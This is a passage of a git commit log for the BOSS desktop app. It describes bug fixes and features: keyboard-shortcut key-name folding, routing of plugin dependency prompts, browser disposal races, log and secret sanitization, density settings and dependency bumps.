worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails t… * feat(plugins): route a missing-dependency prompt to the window that raised it (#465) * feat(plugins): route a missing-dependency prompt to the window that raised it MissingDependencyPrompt is delivered over a Channel: exactly one window's collector receives each prompt, but not necessarily the one whose install raised it. The class's own KDoc named this as a known, deliberately unbuilt limitation - "routing back to the reporting window would need the prompt to carry a window id and the collector to be able to decline one without consuming it... not built, because a single window is the overwhelmingly common case." This builds exactly that, for the case where it does happen: a person answers "Install" in the window they're looking at and nothing changes there, because a different, idle window happened to collect it. - MissingDependencyPrompt gains windowId: String? = null, resolved via WindowFocusManager.resolveActionableWindowId() at the two report call sites where a window is unambiguously the actionable one right now (MissingDependencyReporter.report, a user-initiated install-completion path; MissingPluginOffer.offerIfMissing, a direct button click) - the same best-effort "whichever window is actionable" idiom this codebase already uses for deep links and CLI commands, not a new standard. - shouldClaimMissingDependencyPrompt (PluginDependencyResolution.kt) is the pure decision a wrongly-chosen collector uses: claim it if there's no reporting window to prefer, if this window IS the reporting window, or if the reporting window has simply closed (a prompt must never wait forever for a window that's gone). Kept pure and tested the same way shouldShowMissingDependency already is. - The collector in BossAppEventBusEffects.kt calls this before showing a prompt; when it says no, the window re-offers the prompt to the bus (a short delay first, so two non-target windows can't trade it back and forth in a tight loop while the real target's own collector is still starting up) instead of displaying it. - WindowFocusManager.isWindowOpen and resolveActionableWindowId are promoted onto the expect/actual contract so commonMain code (where MissingDependencyPrompt and its bus already live) can ask both questions without a desktop-only reference. Scope: PerformanceState.performancePanelPrompt (the status-bar indicator's offer) is left at the windowId = null default - it resolves its plugin manager via DynamicPluginManager.anyActiveManager() with no direct window context available, and threading one through would mean unrelated refactoring of that call chain rather than this feature. Falls back to today's behavior for that one path only, same as every prompt did before this change. 5 new tests (MissingDependencyPromptRoutingTest) cover the decision function directly: no reporting window, own window, wrong window with the target still open, wrong window after the target has closed, and the single-window case. Full desktopTest suite, ktlintCheck and detekt all clean (one pre-existing, unrelated Windows-symlink-privilege test failure in DesktopFileScannerTest, confirmed present on unmodified main). * fix(plugins): return routed prompts before collector suspension * fix(plugins): replace the bounded channel with a lossless prompt registry Review of this PR (batch-4) proved two real bugs in the bounded-channel delivery PluginDependencyBus used: reporting one prompt, receiving it, admitting four unrelated ones, then re-reporting the first refused it - the channel's four-slot capacity had nowhere left to put it, and it was gone. Separately, freeing the dedup guard the instant a prompt was handed to any collector (rather than when a collector was actually done with it) let a second, independent report for the same key be admitted as a competing entry while the first was still in transit. Replaces the Channel(capacity=4) + separate dedup set with one LinkedHashMap, guarded by a single lock so admission (report) and claiming (claim) are each one atomic step. A map has no capacity to overflow, and a key stays reserved from report() until claim() actually removes it - there is no gap for a concurrent report to slip into. missingDependencies now broadcasts every pending prompt to every open window; each window decides independently (via the existing shouldClaimMissingDependencyPrompt) whether to claim(), and a losing racer simply does nothing further. This also removes the reoffer mechanism entirely: a window that is not the right audience for a prompt now just leaves it alone rather than report()-ing it back with a delay, which was the "unbounded routing hops" the review flagged (one wait-and-retry loop per rejected prompt per window). A single bus-owned periodic re-broadcast covers the one case no report() fires for: the preferred window closing with nothing else to wake collectors. New/rewritten tests reproduce the review's own adversarial scenario directly (a prompt survives being re-reported while four distinct prompts are also pending) and prove claim() is atomic under concurrent callers, alongside the existing dependency-resolution and pure-function routing tests, all updated for the claim-based consumption model. * test(plugins): fix a test broken by the claim-based bus consumption model PerformancePanelPromptTest's "forcing twice does not queue two dialogs" assumed the old design's receive-consumes semantics: a plain missingDependencies.first() no longer removes anything from the bus, only claim() does, so the test's second first() call was seeing the same still-pending prompt again instead of timing out. Missed in the original PluginDependencyBus rewrite because this test lives outside the components.plugin package the rest of the affected suite is in - caught by CI (ubuntu/macos/windows build-test all failed on it), not by the targeted test runs during that change. * fix(plugins): re-resolve a disposed manager's installer, fix a claim-timing hole Addresses the three findings from the claim-based-queue review round: - The closed-target fallback (shouldClaimMissingDependencyPrompt's !targetWindowOpen clause) lets a different window claim a prompt once its preferred window has closed - but the prompt's installer was still bound to that closed window's DynamicPluginManager, which disposeWindow() has already cancelled and uninstalled everything from. Install then loaded into a dead manager and reported success having put the plugin nowhere anything renders - the exact #188 symptom this repo's own release notes describe. installerFor now re-resolves to DynamicPluginManager.anyActiveManager() at use time for both the isInstalled check and the actual install, falling back to the originally-bound manager only when nothing at all is live - the same fix anyActiveManager's own KDoc already documents for the home screen's install tile, applied here too. - claim() ran before the isInstalled check's IO stat, so cancelling that coroutine mid-stat (window closing, the effect restarting) permanently lost an already-claimed prompt: it was off the bus with nowhere else recorded. Moved the claim to immediately before the state assignment, after present/show are both decided - a non-suspending sequence from there, so the only remaining window is the documented, accepted one where the dialog itself is already up. The cost is a duplicated isInstalled stat in the rare case two windows reach the check on one prompt at once, which claim() returning false for the loser already handles correctly. - The bus's wake signal (changed, a MutableSharedFlow(replay = 1)) had no extra buffer, so tryEmit returned false - discarded, since report() never checked it - whenever a collector hadn't yet consumed the replayed value, i.e. whenever any window was mid-dialog. That is the common case for a second missing dependency, not a rare one, so the periodic ticker (documented as covering only a closed target window) was doing the real signalling work for the routine case too. Nothing was ever lost - pending still held every prompt - but a second dependency could sit for up to a second before its rescan. extraBufferCapacity = 1 with DROP_OLDEST makes tryEmit always succeed; conflating repeated "go look" signals is exactly right for a rescan trigger. Also: renamed a test that implied claim() was proven atomic under real concurrency - runTest serialises both async bodies, so it never was, and the assertion it actually makes (a second claim of the same prompt fails) is what the new name says. Added a test for the ticker's periodic re-broadcast of a still-pending, unclaimed prompt, which had no coverage at all. MISSING_DEPENDENCY_RESCAN_INTERVAL_MS is internal now (from private) so that test - and any future one - can pin the real interval instead of a copy of it, matching this repo's own precedent for timing constants. Five doc sites (AGENTS.md and four KDoc cross-references) that still described the deleted channel/reoffer design are corrected to describe the current claim-based map registry instead. * fix(plugins): retire suppressed prompts and preserve live installer ownership --------- Co-authored-by: Shivang * fix(secrets): preserve hostnames in the host matching utility (#482) * fix(browser): catch native disposal exceptions to prevent incorrect sandbox disables Wraps native JxBrowser event listeners to prevent ObjectClosedException from escaping into the sandbox manager. Previously, unexpected browser disposal could be interpreted as a sandbox failure and consume the plugin restart budget. * fix(security): tighten browser secret domain matching * Wrap matcher regression tests to satisfy Detekt * Keep full hostnames visible in saved-secret display labels --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Shivang * feat(settings): explain experimental Microkernel Mode before enabling it (#481) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub 